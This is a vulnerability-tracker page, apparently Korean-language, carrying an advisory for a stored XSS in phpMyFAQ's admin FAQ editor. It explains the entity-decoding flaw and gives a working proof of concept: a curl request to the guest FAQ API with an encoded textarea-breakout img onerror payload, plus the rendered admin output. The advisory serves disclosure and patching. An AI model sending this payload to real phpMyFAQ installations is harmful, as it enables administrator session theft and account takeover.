Kestrel
대시보드로 돌아가기
CVE-2026-56736HIGH· 8.2MITRENVDGHSA대응게시일: 2026. 09. 24.수정일: 2026. 09. 24.

phpMyFAQ has Stored XSS in Admin FAQ Editor via HTML Entity Bypass in Frontend FAQ Submission

XSS

위협 신호 · CVSS · EPSS · KEV

정기 패치· 높은 악용 신호 없음
CVSS
8.2high

이론적 심각도 점수

EPSS
—

예측 데이터 없음

KEV
미등재

실측 악용 기록 없음

권장 대응 기한60일 이내CISA SSVC 기준

계획된 패치 주기 내 조치(60일 이내)

외부 노출· KEV 미등재 · 자동화 어려움 · 부분 영향 · 외부 노출

CVSS 벡터 · 메트릭

악용 경로
공격 벡터네트워크
공격 복잡도낮음
필요 권한불필요
사용자 상호작용필요
범위변경
영향
기밀성 영향높음
무결성 영향낮음
가용성 영향없음
버전별 점수
CVSS 3.18.2HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N

상세 설명

Summary

A stored cross-site scripting (XSS) vulnerability in phpMyFAQ allows any unauthenticated user (or low-privileged registered user) to inject arbitrary JavaScript that executes in an administrator's browser when they review or edit a user-submitted FAQ entry. This leads to admin account takeover via session theft. The vulnerability exists because html_entity_decode() converts HTML entities into executable HTML after strip_tags() has already passed them through, and the admin template renders the content with Twig's |raw filter without any output sanitization.

Details

Vulnerable file: phpmyfaq/src/phpMyFAQ/Controller/Frontend/Api/FaqController.php (lines 109-115)

bash
1$answer = Filter::filterVar($data->answer, FILTER_SANITIZE_SPECIAL_CHARS);
2if ($this->configuration->get(item: 'main.enableWysiwygEditorFrontend')) {
3 $answer = trim(html_entity_decode((string) $answer));
4}

Root cause:

Filter::filterVar() with FILTER_SANITIZE_SPECIAL_CHARS internally calls filterSanitizeString() which applies strip_tags() to remove HTML tags. However, strip_tags() only removes actual HTML tag syntax (e.g., <script>) — it does NOT remove HTML entities (e.g., &lt;script&gt;).

When enableWysiwygEditorFrontend is true, html_entity_decode() is subsequently called, which converts the surviving HTML entities into real, executable HTML. No server-side HTML sanitizer (such as the Symfony HtmlSanitizer already used elsewhere in the codebase) is applied before storing the content in the database.

Vulnerable sink (admin template): phpmyfaq/assets/templates/admin/content/faq.editor.twig (line 127)

text
1<textarea id="editor" name="answer" class="form-control" rows="7"
2 placeholder="{{ 'msgAnswer' | translate }}"
3>{{ faqData['content'] | raw }}</textarea>

The admin FAQ editor controller (Administration/FaqController.php) loads the FAQ content directly from the database and passes it to the template without sanitization:

bash
1$this->faq->getFaq($faqId, null, true);
2$faqData = $this->faq->faqRecord; // Raw content from DB

Note: The public-facing FAQ view IS properly sanitized via FaqHelper::cleanUpContent() which uses Symfony HtmlSanitizer. Only the admin edit view is vulnerable.

PoC

Prerequisites:

  • main.enableWysiwygEditorFrontend = true (non-default, but commonly enabled for rich-text user FAQ contributions)
  • records.allowNewFaqsForGuests = true (DEFAULT value — guests can submit FAQs)
  • At least one FAQ category must exist

Step 1: Inject XSS payload as unauthenticated guest

bash
1curl -X POST https://TARGET/api/faq/create \
2 -H 'Content-Type: application/json' \
3 -d '{
4 "name": "Legitimate User",
5 "email": "user@example.com",
6 "question": "How to configure SMTP settings?",
7 "answer": "&lt;/textarea&gt;&lt;img src=x onerror=alert(document.domain)&gt;&lt;textarea&gt;",
8 "lang": "en",
9 "keywords": "smtp email",
10 "rubrik": ["1"],
11 "captcha": "<valid-captcha-or-empty-if-disabled>"
12 }'

Response: {"success":"Thank you for your suggestion!"}

Processing trace:

  1. Input answer: &lt;/textarea&gt;&lt;img src=x onerror=alert(document.domain)&gt;&lt;textarea&gt;
  2. filterSanitizeString() → strip_tags() finds no actual <tag> syntax → string passes through unchanged
  3. html_entity_decode() converts entities → </textarea><img src=x onerror=alert(document.domain)><textarea>
  4. Stored in database as raw executable HTML

Step 2: Admin triggers XSS by reviewing the submitted FAQ

When an administrator navigates to edit the submitted FAQ entry:

text
1GET /admin/faq/edit/{faqId}/{lang}

The admin template renders:

xss
1<textarea id="editor" name="answer" class="form-control" rows="7"
2 placeholder="Answer"
3></textarea><img src=x onerror=alert(document.domain)><textarea></textarea>

The </textarea> breaks out of the editor textarea element, and the <img onerror=...> executes JavaScript immediately in the admin's browser context.

<img width="1387" height="562" alt="admin stored xss alert poc" src="https://github.com/user-attachments/assets/98d6a40d-1e21-41dc-8705-102876b9cf8a" /> <img width="1393" height="805" alt="admin stored xss poc" src="https://github.com/user-attachments/assets/7362a324-e779-4157-be4f-9d35fbe25333" />

Note: For logged-in users submitting FAQs, the captcha check is automatically bypassed (BuiltinCaptcha::checkCaptchaCode() returns true when user is logged in).

Impact

  • Stored XSS targeting administrators — every FAQ submission is reviewed by an admin, guaranteeing payload delivery
  • Admin account takeover — attacker can steal session cookies, create new admin accounts, or modify system configuration
  • No special privileges required — default configuration allows guest FAQ submissions (records.allowNewFaqsForGuests = true)
  • Public view is unaffected — the public FAQ display uses Symfony HtmlSanitizer which strips event handlers; only the admin panel is vulnerable

AI 심층 분석

공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.